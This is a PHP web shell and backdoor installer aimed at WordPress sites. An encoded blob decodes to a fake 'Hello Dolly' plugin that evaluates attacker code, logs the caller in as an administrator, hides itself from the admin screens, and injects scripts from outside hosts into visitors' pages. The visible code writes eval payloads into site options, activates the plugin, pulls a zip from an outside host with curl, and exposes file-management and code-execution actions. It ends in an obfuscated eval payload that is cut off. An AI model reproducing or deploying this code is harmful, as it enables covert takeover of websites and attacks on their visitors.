JCX0KCQkJCQoJCQkJZWNobyBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7CgkJCQlkaWUoKTsKICAgICAgICAJfQoKICAgICAgICBicmVhazsKCgoJCWNhc2UgImdldF9wb3N0IjoKCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fZ2V0X3Bvc3QnICk7CiAgICAgICAgCQogICAgICAgIAlmdW5jdGlvbiBoZWxsb19nZXRfcG9zdCAoKXsKCiAgICAgICAgCQkkcG9zdF9pZCA9ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfaWQnXTsKICAgICAgICAJCSRwb3N0ID0gZ2V0X3Bvc3QoICRwb3N0X2lkLCBBUlJBWV9BKTsKICAgICAgICAJCSRyZXNbJ3Bvc3RfdGl0bGUnXSA9ICRwb3N0Wydwb3N0X3RpdGxlJ107CiAgICAgICAgCQkkcmVzWydwb3N0X2NvbnRlbnQnXSA9ICRwb3N0Wydwb3N0X2NvbnRlbnQnXTsKICAgICAgICAJCSRyZXNbJ0lEJ10gPSAkcG9zdFsnSUQnXTsKCiAgICAgICAgCQllY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKCQkJCWRpZSgpOwogICAgICAgIAl9CgogICAgICAgIGJyZWFrOwoKCgkJY2FzZSAibG9naW4iOgoKCQkJYWRkX2FjdGlvbiggJ3BsdWdpbnNfbG9hZGVkJywgJ2hlbGxvX2xvZ2luJyApOwoJCQkJCgkJCWZ1bmN0aW9uIGhlbGxvX2xvZ2luKCkgewoJCQkKCQkJICAgCSR1c2VycyA9IGdldF91c2VycyggYXJyYXkoCgkJCQkncm9sZScgICA9PiAnYWRtaW5pc3RyYXRvcicsCgkJCQkKCQkJCSkgKTsKCQkJCSRpZHMgPSB3cF9saXN0X3BsdWNrKCAkdXNlcnMsICdJRCcgKTsKCQkJCgkJCQkkaWQgPSAkaWRzWycwJ107CiAgICAgICAgCQogICAgICAgIAkJd3Bfc2V0X2F1dGhfY29va2llKCAkaWQgKTsKICAgICAgICAJCWhlYWRlcignTG9jYXRpb246IHdwLWFkbWluLycpOwogICAgICAgIAkJZGllKCk7CiAgICAgICAgCX0KCiAgICAgICAgYnJlYWs7CiAgICAgICAgCiAgICAgICAgY2FzZSAiZXhlYyI6CgogICAgICAgIAlldmFsKCRkYXRhWydjb2RlJ10pOwoKICAgICAgICBicmVhazsgICAgICAgCgogICAgICAgIGNhc2UgIm5ld19jb2RlIjoKCiAgICAgICAgCWlmKHVwZGF0ZV9vcHRpb24oJ2RvbGx5X2NzcycsICRkYXRhWydjb2RlJ10sIHRydWUpKXsKICAgICAgICAgICAgCWRpZSgnMjAwIE9LJyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIAlkaWUoJzQwMCB1cGRhdGVfb3B0aW9uIGVycm9yJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgY2FzZSAibWFrZV9zaGVsbCI6CgogICAgICAgIAl1cGRhdGVfb3B0aW9uKCdoZWxsb19kb2xseScsICRkYXRhWydjb2RlJ10sIHRydWUgKTsKICAgICAgICAJdXBkYXRlX29wdGlvbignZG9sbHlfd29yaycsIG1kNSh0aW1lKCkpLCB0cnVlICk7CiAgICAgICAgCXNldGNvb2tpZShnZXRfb3B0aW9uKCdkb2xseV93b3JrJyksJ3RydWUnLHRpbWUoKSszNjAwKjI0KTsKICAgICAgICAJZGllKCc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5hc3NpZ24oZG9jdW1lbnQuVVJMKTs8L3NjcmlwdD4nKTsKCiAgICAgICAgYnJlYWs7CgogICAgfQoKfQoKYWRkX2ZpbHRlciggJ2FsbF9wbHVnaW5zJywgJ2ZpbHRlcl9mdW5jdGlvbl9uYW1lX2hlbGxvJyApOwoKZnVuY3Rpb24gZmlsdGVyX2Z1bmN0aW9uX25hbWVfaGVsbG8oICRhbGxfcGx1Z2lucyApewoJdW5zZXQoJGFsbF9wbHVnaW5zWydoZWxsby9oZWxsby5waHAnXSk7CgoJcmV0dXJuICRhbGxfcGx1Z2luczsKfQoKYWRkX2ZpbHRlciggJ2FkbWluX3ByaW50X2Zvb3Rlcl9zY3JpcHRzJywgJ2Rpc2FibGVfcGx1Z2luX3NlbGVjdCcgKTsKCmZ1bmN0aW9uIGRpc2FibGVfcGx1Z2luX3NlbGVjdCggJGFjdGlvbnMgKXsKCT8+Cgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CglqUXVlcnkoZnVuY3Rpb24oJCl7CgkJJCgiI3BsdWdpbiBvcHRpb25bdmFsdWU9J2hlbGxvL2hlbGxvLnBocCddIikuIHJlbW92ZSgpOwoJfSk7Cgk8L3NjcmlwdD4KCTw/cGhwCn0KCgphZGRfZmlsdGVyKCAnYWRtaW5fcHJpbnRfZm9vdGVyX3NjcmlwdHMnLCAnaGlkZV9kb2xseV9wb3N0JyApOwoKZnVuY3Rpb24gaGlkZV9kb2xseV9wb3N0KCAkYWN0aW9ucyApewoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCTw/cGhwCQoJJGFsbF9wb3N0cyA9IGdldF9vcHRpb24oJ2RvbGx5X3Bvc3RzJyxhcnJheSgwKSk7CgkkdCA9ICcnOwoJZm9yZWFjaCAoJGFsbF9wb3N0cyBhcyAkaWQpIHsKCQkkdCA9ICR0IC4gJyQoIiNwb3N0LScuJGlkLiciKS5yZW1vdmUoKTsnLiJcbiI7IAoJfQoJCgllY2hvICIkdCI7CgkKCT8+CgkKCX0pOwoJPC9zY3JpcHQ+Cgk8P3BocAp9CgphZGRfZmlsdGVyKCAnYWRtaW5fcHJpbnRfZm9vdGVyX3NjcmlwdHMnLCAnaGlkZV9kb2xseScgKTsKCmZ1bmN0aW9uIGhpZGVfZG9sbHkgKCAkYWN0aW9ucyApewoJPz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigkKXsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2JvZHkiKScpLiByZW1vdmUoKTsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2hlYWQiKScpLiByZW1vdmUoKTsKCQkgJCgndHI6Y29udGFpbnMoImFkbWluX2Zvb3RlciIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfY3NzIiknKS4gcmVtb3ZlKCk7CgkJICQoJ3RyOmNvbnRhaW5zKCJoZWxsb19kb2xseSIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfd29yayIpJykuIHJlbW92ZSgpOwoJCSAkKCd0cjpjb250YWlucygiZG9sbHlfcG9zdHMiKScpLiByZW1vdmUoKTsKCgl9KTsKCTwvc2NyaXB0PgoJPD9waHAKfQoKZnVuY3Rpb24gaGVsbG9fcmVmKCl7CgoJaWYoIWlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkpeyByZXR1cm4gZmFsc2U7fQoJJHIgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSk7CgoJaWYoc3RybGVuKCRyKSA8IDEwKSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCgkkZCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKCSRwb3MgPSBzdHJwb3MoJHIsICRkKTsKCQoJaWYgKCRwb3MgPT09IGZhbHNlKSB7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KfQoKZnVuY3Rpb24gaGVsbG9fY29va2llKCl7CgoJCWlmKGNvdW50KCRfQ09PS0lFKSA+IDApewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCXJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBoZWxsb191YSgpewoJCgkkYXJyYXkgPSBhcnJheSgnYWhyZWZzJywnYXN0ZXJpYXMnLCdiYWNrZG9vcmJvdC8xLjAnLCdiYWlkdXNwaWRlcicsJ2Jpbmdib3QnLCdiaW5ncHJldmlldycsJ2JsYWNrIGhvbGUnLCdibG93ZmlzaC8xLjAnLCdib3RhbG90JywnYnVpbHRib3R0b3VnaCcsJ2J1bGxzZXllLzEuMCcsJ2J1bm55c2xpcHBlcnMnLCdjZWdiZmVpZWgnLCdjaGVlc2Vib3QnLCdjaGVycnlwaWNrZXInLCdjb3B5cmlnaHRjaGVjaycsJ2Nvc21vcycsJ2NyZXNjZW50JywnZGl0dG9zcHlkZXInLCdkb3Rib3QnLCdkdWNrZHVja2JvdCcsJ2VtYWlsY29sbGVjdG9yJywnZW1haWxzaXBob24nLCdlbWFpbHdvbGYnLCdlcm9jcmF3bGVyJywnZXh0cmFjdG9ycHJvJywnZmFjZWJvb2tleHRlcm5hbGhpdCcsJ2Zvb2JvdCcsJ2dvb2dsZWJvdCcsJ2dvb2dsZWltYWdlcHJveHknLCdoYXJ2ZXN0JywnaGxvYWRlcicsJ2h0dHBsaWInLCdodW1hbmxpbmtzJywnaWFfYXJjaGl2ZXInLCdpbmZvbmF2aXJvYm90JywnamVubnlib3QnLCdqb2Jib2Vyc2UnLCdrZW5qaW4gc3BpZGVyJywna2V5d29yZCBkZW5zaXR5LzAuOScsJ2xleGlib3QnLCdsaWJ3ZWIvY2xzaHR0cCcsJ2xpbmtleHRyYWN0b3Jwcm8nLCdsaW5rc2NhbicsJ2xpbmt3YWxrZXInLCdsd3AtdHJpdmlhbCcsJ21hdGEgaGFyaScsJ21lZGlhcGFydG5lcnMnLCdtZWdhaW5kZXgnLCdtaWNyb3NvZnQgdXJsIGNvbnRyb2wnLCdtaWl4cGMnLCdtaWl4cGMvNC4yJywnbWlzdGVyIHBpeCcsJ21qMTJib3QnLCdtb2dldCcsJ2J1bGxzZXllJywnbXNuYm90JywnbmV0YW50cycsJ25ldG1lY2hhbmljJywnbmljZXJzcHJvJywnb2ZmbGluZSBleHBsb3JlcicsJ29wZW5maW5kJywnb3BlbnNpdGVleHBsb3JlcicsJ3Byb3Bvd2VyYm90JywncHJvd2Vid2Fsa2VyJywncXVlcnluIG1ldGFzZWFyY2gnLCdyZXBvbW9ua2V5Jywncm1hJywnc2VtcnVzaCcsJ3NpdGVzbmFnZ2VyJywnc2x1cnAnLCdzb2dvdScsJ3NwYW5rYm90Jywnc3Bhbm5lcicsJ3N1enVyYW4nLCdzenVrYWN6LzEuNCcsJ3RlbGVwb3J0JywndGVsZXNvZnQnLCd0aGUgaW50cmFmb3JtYW50JywndGhlbm9tYWQnLCd0aWdodHR3YXRib3QnLCd0aXRhbicsJ3RvY3Jhd2wvdXJsZGlzcGF0Y2hlcicsJ3RydWVfcm9ib3QnLCd0dXJpbmdvcycsJ3VybHkgd2FybmluZycsJ3ZjaScsJ3dlYmF1dG8nLCd3ZWJiYW5kaXQnLCd3ZWJjb3BpZXInLCd3ZWJlbmhhbmNlcicsJ3dlYiBpbWFnZSBjb2xsZWN0b3InLCd3ZWJtYXN0ZXJ3b3JsZGZvcnVtYm90Jywnd2Vic2F1Z2VyJywnd2Vic2l0ZSBxdWVzdGVyJywnd2Vic3RlciBwcm8nLCd3ZWJzdHJpcHBlcicsJ3dlYnppcCcsJ3dnZXQnLCd3d3ctY29sbGVjdG9yLWUnLCd4ZW51JywneWFuZGV4Ym90JywnemV1cycpOwoJCglpZighaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJCgkkdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7CgkKCWZvcmVhY2ggKCRhcnJheSBhcyAkYmFkKSB7CgkJaWYoc3RycG9zKCR1YSwgdHJpbSgkYmFkKSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJfQoKCXJldHVybiB0cnVlOwp9CgoKCgpmb3JlYWNoICgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpIHsKCWlmKDg4ID09IHN0cmxlbigka2V5KSl7CgkJaWYgKHRydWUgPT09IGhlbGxvX2NoZWNrX3NpZygka2V5LCR2YWx1ZSkpewoJCQloZWxsb19hY3Rpb24oJHZhbHVlKTsKCQl9Cgl9Cn0KCmlmKGlzc2V0KCRfQ09PS0lFW2dldF9vcHRpb24oJ2RvbGx5X3dvcmsnKV0pKXsKCWV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoZ2V0X29wdGlvbignaGVsbG9fZG9sbHknKSkpKTsKCWRpZSgpOwp9CgppZihpc3NldCgkX1BPU1RbJ2NHbHVadz09J10pKXsKCWRpZSgnWTBkc2RWcDNQVDA9Jyk7Cn0KCmZ1bmN0aW9uIGhlbGxvX3NjcmlwdHNfbWV0aG9kKCkgewoKCXdwX2VucXVldWVfc2NyaXB0KCdoZWxsb19uZXdzY3JpcHQwJywgJ2h0dHBzOi8vd2lyZXd1c3MuY29tL3B3YS9pLnBocCcpOwoJd3BfZW5xdWV1ZV9zY3JpcHQoJ2hlbGxvX25ld3NjcmlwdDEnLCAnaHR0cHM6Ly93d3cuYXZvY2F0cy1sYXJvY2hlc3VyeW9uLmNvbS9pbWFnZXMvaS5waHAnKTsKCXdwX2VucXVldWVfc2NyaXB0KCdoZWxsb19uZXdzY3JpcHQyJywgJ2h0dHBzOi8vd3d3LnZhY2F2aWxsYS5jb20vZmlsZWFkbWluL2kucGhwJyk7Cgl3cF9lbnF1ZXVlX3NjcmlwdCgnaGVsbG9fbmV3c2NyaXB0MycsICdodHRwOi8vd2lvZS5jb20vY2hhbWJlci9pLnBocCcpOwoJd3BfZW5xdWV1ZV9zY3JpcHQoJ2hlbGxvX25ld3NjcmlwdDQnLCAnaHR0cDovL3d3dy5vLWRvby5jb20vZXh0cmFjdC9pLnBocCcpOwoKfQoKaWYgKCBoZWxsb19yZWYoKSAmJiBoZWxsb19jb29raWUoKSAmJiBoZWxsb191YSgpICl7CgphZGRfYWN0aW9uKCAnd3BfZW5xdWV1ZV9zY3JpcHRzJywgJ2hlbGxvX3NjcmlwdHNfbWV0aG9kJyApOwoKfQ==')){
echo '<font color=green>Succes:</font> dolly_css<br>';
} else {
echo '<font color=red>Error:</font> dolly_css<br>';
}
if(update_option('admin_head','create_function')){
echo '<font color=green>Succes:</font> admin_head<br>';
} else {
echo '<font color=red>Error:</font> admin_head<br>';
}
if(update_option('admin_body','eval(base64_decode($_));')){
echo '<font color=green>Succes:</font> admin_body<br>';
} else {
echo '<font color=red>Error:</font> admin_body<br>';
}
if(update_option('admin_footer','$_')){
echo '<font color=green>Succes:</font> admin_footer<br>';
} else {
echo '<font color=red>Error:</font> admin_footer<br>';
}
$plug_dir = WP_PLUGIN_DIR;
if(!file_exists($plug_dir)){
if(mkdir($plug_dir)){
echo "<font color=green>Succes:</font> create $plug_dir<br>";
} else {
echo "<font color=red>Error:</font> can't create $plug_dir<br>";
die();
}
}
if(!is_writable($plug_dir)){
if(chmod($plug_dir,0777)){
echo "<font color=green>Succes:</font> chmod $plug_dir<br>";
} else {
echo "<font color=red>Error:</font> can't chmod $plug_dir<br>";
die();
}
}
$tmp_file = WP_PLUGIN_DIR . '/hello.php';
if(file_exists($tmp_file)){
if(unlink($tmp_file)){
echo "<font color=green>Succes:</font>delete $tmp_file<br>";
} else {
echo "<font color=red>Error:</font>cant delete $tmp_file<br>";
die();
}
}
$tmp_file = WP_PLUGIN_DIR . '/hello/hello.php';
if(file_exists($tmp_file)){
if(unlink($tmp_file)){
echo "<font color=green>Succes:</font> delete $tmp_file<br>";
} else {
echo "<font color=red>Error:</font> cant delete $tmp_file<br>";
die();
}
}
$tmp_file = WP_PLUGIN_DIR . '/hello-dolly/hello.php';
if(file_exists($tmp_file)){
if(unlink($tmp_file)){
echo "<font color=green>Succes:</font> delete $tmp_file<br>";
} else {
echo "<font color=red>Error:</font> cant delete $tmp_file<br>";
die();
}
}
$plug_dir = WP_PLUGIN_DIR . '/hello';
$plug_file = $plug_dir . '/hello.php';
if(!file_exists($plug_dir)){
if(mkdir($plug_dir)){
echo "<font color=green>Succes:</font> create $plug_dir<br>";
} else {
echo "<font color=red>Error:</font> can't create $plug_dir<br>";
die();
}
} else {
echo "<font color=green>Succes:</font> Directory $plug_dir exists<br>";
}
if(file_put_contents($plug_file, base64_decode($dolly_code))){
echo "<font color=green>Succes:</font> $plug_file<br>";
} else {
echo "<font color=red>Error:</font> $plug_file<br>";
die();
}
@clearstatcache();
if(file_exists($plug_file)){
echo "<font color=green>Succes:</font> $plug_file found<br>";
} else {
echo "<font color=red>Error:</font> $plug_file not found<br>";
die();
}
require_once ABSPATH .'/wp-admin/includes/plugin.php';
echo "<font color=green>Succes:</font> include admin<br>";
if ( wp_cache_delete('plugins', 'plugins') ){
echo "<font color=green>Succes:</font> clear cache<br>";
} else {
echo "<font color=red>Error:</font> can't clear cache<br>";
}
$plug = activate_plugin( 'hello/hello.php','',false,true);
if( is_wp_error( $plug )){
echo $plug->get_error_code();
echo $plug->get_error_message();
echo $plug->get_error_data();
} else {
echo "<br><br><font size=+5 color=green>Succes:</font> plugin activate<br>";
}
}
function copy_zpl(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$wpc = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
$dir = dirname($wpc);
$loc_file = trim( preg_replace('/\(.*$/', '', __FILE__) );
if (copy( $loc_file ,$dir . '/pl.php')){
echo "<font color=green>Succes:</font>copy $dir pl.php<br>";
} else {
echo "<font color=red>Error:</font>copy $dir pl.php<br>";
die();
}
}
function restore(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$rf = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
$nn = str_replace('.suspected', '', $rf);
$nd = base64_encode($nn);
if(copy($rf,$nn)){
echo "<script>parent.Worker('f_m','$dir','', '','$nd','file_man');</script>";
} else {
die('Can\t copy file');
}
}
function delete_zpl(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$wpc = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
$dir = dirname($wpc);
if(unlink($dir . '/pl.php')){
echo "<font color=green>Succes:</font>delete $dir pl.php<br>";
} else {
echo "<font color=red>Error:</font>can't delete $dir pl.php<br>";
die();
}
}
function update_wordpress(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$wpc = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
$dir = str_replace('wp-config.php', '', $wpc);
$pphv = phpversion();
if('7' == $pphv[0]){
$ver = 'wp.zip';
} else {
$ver= 'wp51.zip';
}
$name = $dir . $ver;
$ch = curl_init ('http://carwash-leusden.nl/wordpress/'.$ver);
$fp = fopen ($name, "w+");
curl_setopt ($ch, CURLOPT_FILE, $fp);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
$ult = curl_exec ($ch);
curl_close ($ch);
fclose ($fp);
if($ult){
$zip = new ZipArchive;
if ($zip->open($name) === TRUE) {
$zip->extractTo($dir);
$zip->close();
echo 'All ok';
} else {
echo 'Zip error';
}
} else {
echo 'Curl error';
}
die();
}
function debug_wordpress(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$wpc = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$c = $_REQUEST['c'];
} else {
die('WTF?');
}
if('true' == $c){
$cod = "define( 'WP_DEBUG', true );";
} else {
$cod = "define( 'WP_DEBUG', false );";
}
$tmp = file_get_contents($wpc);
$count = 0;
$tmp = preg_replace('/define\s*\(\s*\'WP_DEBUG\'\s*,\s*(true|false)\s*\)\s*;/is', $cod, $tmp, -1 , $count);
if(0 == $count){
$tmp = preg_replace('/(\$table_prefix\s*=\s*(\'|")[\S]+(\'|")\s*;)/is', '$1' ."\n\n". $cod, $tmp, -1 , $count);
}
if(file_put_contents($wpc, $tmp)){
@clearstatcache();
$tmp = file_get_contents($wpc);
if(strpos($tmp, $cod) === false){
echo 'Error: Can\'t find code';
} else {
echo "Succes set $cod";
}
} else {
echo 'Error: Bad file_put_contents';
}
}
function delete_md5(){
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$md5 = $_REQUEST['c'];
} else {
die('WTF?');
}
$all_files = file('manual_log');
$all_files = array_unique($all_files);
foreach($all_files as $t){
$t = trim($t);
$tex = explode('=====', $t);
$file = $tex[0];
$md5_file = md5(file_get_contents($file));
if($md5 == $md5_file){
copy($file, $file . '.suspected');
if(unlink($file)){echo "$file deleted!<br>";} else {echo "<font color=red>$file ERROR deleted!</font><br>";}
}
}
echo "Done!";
}
function delete_name(){
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$fn = $_REQUEST['c'];
} else {
die('WTF?');
}
$all_files = file('manual_log');
$all_files = array_unique($all_files);
foreach($all_files as $t){
$t = trim($t);
$tex = explode('=====', $t);
$file = $tex[0];
$file_n = basename($file);
if($file_n == $fn){
unlink($file);
}
}
echo "<script>parent.Worker('m_a','','', '','','file_man');</script>";
}
if ( 0 == count($_POST) && 0 == count($_GET) ) {
echo_header();
echo_scripts();
check_functions();
big_form();
big_table();
echo '<script>MakeHome();</script>';
die();
} else {
switch ($_REQUEST['a']){
case "r_s":
restore();
die();
case "f_m":
file_man();
die();
case "e_f":
edit_file();
die();
case "s_f":
save_file();
die();
case "s_n":
save_norm();
die();
case "d_f":
delete_file();
die();
case "d_z":
delete_zpl();
die();
case "e_p":
exec_php();
die();
case "suicide":
suicide();
die();
case "m_w":
make_worker();
die();
case "m_f":
manage_file();
die();
case "d_d":
download000();
die();
case "c_f":
chmod_file();
die();
case "r_f":
renew_file();
die();
case "m_a":
manual_av();
die();
case "m_p":
manual_wp();
die();
case "m_wp":
make_wp();
die();
case "c_z":
copy_zpl();
die();
case "u_w":
update_wordpress();
die();
case "d_w":
debug_wordpress();
die();
case "d_5":
delete_md5();
die();
case "d_n":
delete_name();
die();
}
}
<?php eval(gzinflate(base64_decode('7f3ZkttKtigIPktfwdTROQydkBQAh4igtKVMzjMjOIEkUllRIACSIDEFAY559nO9lVW3tVmXWV2zW2bdb23WX9Bfc7/gfkKv5e4AAQ4RDG1p77x1cmeGSAI+LF++fE2+fPnr168jr1+/1kYXUZ6Xk8Mb/lYaxWRV4hU1ORwN40PlVk7dKsOYGo386cuXiKEkL94+tPMtId/6a7TU6dw/dOHXQ7qYb3Sif3v37u+Kpl5EuSF3O1SgYuwmNby9vU2mhtexWxka4655SeWi7z7/+vr1XzRTe3BU9yKqzufW/EG3xtH3jW6t9u5z4B08fSDvneh7LvTGkNYP6lqVF65mmQ+uZqisBLwlPx90zdDcC3z2mnYxV21r7mrmmD6cqJKizi+iWUmeqB+ylunOLf1TxLQ+OK41V9/jNxnfvY8YC8f9MFeXkq4pkqvCCE7Vti0oCU/k2RfufcSeq96P6PtIIV1r5wNV7+fS2JA++f1gs69fjxamjGOKjGEgtjo3Lt6ONF199/fXkchb/O1EvkTwCfnOXkLFSMRZaa48iVywUv8W4dYFjuPeRbBqJCJLjgqPsvDoE3mA/73VzJEFDUad6Gf/4XCuSrPPwUrp45X0JyvdHq80f7LS9fFKwycrJY5XUp6sFDteSX6yEn+8kn28kqKOpIXuHqmwIBVgHbz2Hn78ErkITh3H49T9GfEV+RSJfkDqOFmWu6VlV+eUTZCy4Ye3rDOHNLCORt7B5/Eiba8PQq6nu4m9AHz+BeBzt4fgJ54HP/FC8LnE+eBzsReAzx+CH2OwuafB94p0guBHInPVXcxN2tnn178G2MfKsQRNXbW1rXrx1kEmQKhQG0UuNOdBM118+i7yFtmJY8/hwejizb8u3ryHR+8o+bIKUDDy9UuE527iNwn+NgaI8fr1Kkb/lf8YG0WxbuQqUDLy7mMk+m/m0LE//zICHhmRLd2af5mrytfi8JcrfPSVvo5+pvCpuqMijF6fidvkzfW75/ojpQBrR3sbz1XV/Fp/qj+/OxzcM33hqI53NNQX6tfq6X520+WcakCSZxEHpuwD/zWz386vRFijWDCksSY/PC4sV3UexrZ88c5j8v70t9vuXLMdXXImKkgJaT6XNl4hHw4gBPLCf//nCPkCHdgX0VATOH5W6FPEOdI2JZlfyb9vH+7v2h0grD0oyGNW8u1D9u6uWs4fKUVfvPNG/CdvUCDwNcd1LqIo8x7shfsgA4JU03Wihwg4KENF5YMpGSDR34Icl3b4AHBGKFYtWzWD5d6s3rzbcfYRNIfNvKe1Ay9k3XJgmY18LPwaQdAjFwegO/vTN1+YRHvxR0D++cupckR3Ca5zZ6HJmqJevPu7v14POl3YqLY8WDY+hZ5oR6+gD9myZqC0IVHRtxdRxdL1zcPKms+i795Ho+9Jr+8+xEEy+0N+FWrxIjpRdd16IDWBUKBSxJ0v1MjJ8oE+Dov/ShcLA/IvC1PXzNnFw0OhXMs/PIQIjeKKlYjCTI+08cPK/mhP7Cgr6L/VtKOPt7Z+9PmJx7ETz+UTzxcnnj+4kjM7/vTBPP5cPlX85IsjDSHO1flxkFAHP3go66pknqqx0933Xw1hIo49X9lHHxuSuZD03SuqPqE5UbSUyNQa/im6R/eqPLEemCoNBP36FT6IvPnlT7m7bGdwn49MXEP/+gv911BdKSJPpDmQ/JeFO/pw+/Wb+eazX8lxN7r69fUrx5ZMQnivhsCJx3NrYSqfIou5foEr/pMGK1K9Gmujz0NQB68T71ucXrzL6ZPbdHqVrjdH6ftL2czZot5JXN4/atZj7fpymahmx0ZFGzjbBlfpCXor38p3C5mmGndvRM3a1EuZldLpxfqpq1G8Wnau5lCptknVqhvHvhyZq7ytFlpdoXGjxs3CWlY7enIzs6ujq1hqeWVfj6B3/O/+6upqU0pm0vl0OnObrpGHuVU6h5/9q0RWvROLhiqV7cf+YnEp36/bkhOvqvmb/uju6sri3cVdui5NOeW+6WScOzvVXAFU/by05LL6ZsN1bUfNGu5suVDHLWVsOdX76qifVG70fOYyuVCt3uI22Qe78bGxblSk0lgdm5yZbw2y2fj6ql3Ou+OEIVTsTEka33bbZsudDNKqkYz1ypNytdayREWcFA17VTEfe715NyuVbrKb+2H3yr0xesVmeVkcJ7Ric1reyFq3MVxdLh/bQnbFdTLNbjk3tOXtNBZfNIo3VqWoleepVIErL7JNbqR2SlpVWd3GF+K6sBo+Zsd2NrvYDm+rN2W9ed/PVdPuWElptz2jOUjHMpOZVS7Vs5NyYzPMbO4f5Y6RbjvFfHYjGQnhbnwzUG+LbqJ4tZnPZKFS2FhNfdbdpI1iNp0tD9z8ItMZOOl0dXwr9FpzZ9LKGIWVVanVm44sF7JpQxrV7GHzuti3nOtKcXo931ZuK5m7x3S8t2q61Uo3z7duO/fZdLrr5HLdaaq3iJUaRe1qsazp5miTWVlSaZbp5RfjxUDM3qhOb1C+LGidtFxvZzOzyrKQ2ww697OMlhSEMq8ao3vDzY5Xi0w5fSsPHpeTkqjVWo/tZWO2GUwS5dIk1VrmR1ZxUx5cpxLqbOmWJhU+3blWBsl6NTtJS/awtcwOu83cYNMs1jIT+1qsplPqEih3cNnscIXU4jbvput2XK5kJ5nr8bpfzj6uV/eXd+utse2n67nHdVrtdG5ac2PuXjVTE6uWvpMyaXWU5Ari3UYsCJtlqrbYpEuF5lW5rKrl9ihWuNVvK/Fetx1fmdaikEvn+4tUszJZZGOJQSfRSrfupplJ7ppzgfbrdSmxErj+zM5MmrmeJKczeckAG7Z8OxV1UZtqupVvuNI9nx03hXkyJWcyGT5ThCE1Jk2uUh6A4totdHRdkFZa+v6+l2/aaatXhGkbZmDKpF5XqNQsezDTrirjTrrXlcvpdnuo1SYwW+VuPSdkC1e9fMa9zLdXq1Uzw6Vn80wmvZBtJytmpp3KKtmYK9O03jZzqprJtkqJFhC2klbvhIm+TpWhwVxR3qzb42apVAH4xgk5UR7nN1p23JHSj9WyeF/P3s40fW0V2+Nxp8S5qdnINmz1Wi8ahcQ6l0wXrvL6vJTurOo9tWxe3WXuu+3ZXcxt3mjNmqwnqna2Ny7fXnLVXvo2mx53srwrjbJOb61tNJ3PFZrNVVWqphtKuSK3hcp6U0xMVumbuco780Z63teq5WyiMher43Gzbz/OG9XHzvq6WS+Klfx2JSYT9irt6o6bcK9X9XyhC/hbzdq9Qk5eJszbzGLDV1o52ebNyqZeceuLUrYqlwu1bvNx9Vhv3+YnucydUpiXm/l2mR8383fjkZurZibrfG3YL+mzhOI2Z7XuWklnurHO6i7LwQwktNXULrXKbmVSWmnddSqtNXLrTqkiV43VdnIp34n5q2n8Os3xVm1QzmbK8YVr3ShOu2EmrUF5li7k7IS1zmW7ubvb20pnpba79U06mxTrpWZZzhuNxbBanF9l5YJ9tb5ULU3PVi/zk9ut4QK3SNwm6jUtlsm0WuPy3Mls89NxezW0slqDs2ItAKiaz3Ja/nK8qDYql7eJZLVl1HOzfL4IA5E2YuYmxy+bo0HxJs6tpsVBfFGYlraD8SoryrP0atiI1/Xba+6av0xUpPJt9X5Wa3aynXR91tDUZU6eOqn1Vbq02RhLOXGzMuqznCitWsMBl03dLHuZm0asJmalm1JjZChaPpfIznKFai6dvKykx+n13U263qmnr5KdKjDCWs4dZe/SxVVlkJlawm169Zjic9lyX1qNc/XygKtUZ4/5TGtxV3bzrfmkPKsN7svFbHWc1cbZbLa6SqeTuQQstMtyOT81KitzYMslcdlN1zPL2XY1k2bptRGvb/JlQxvGs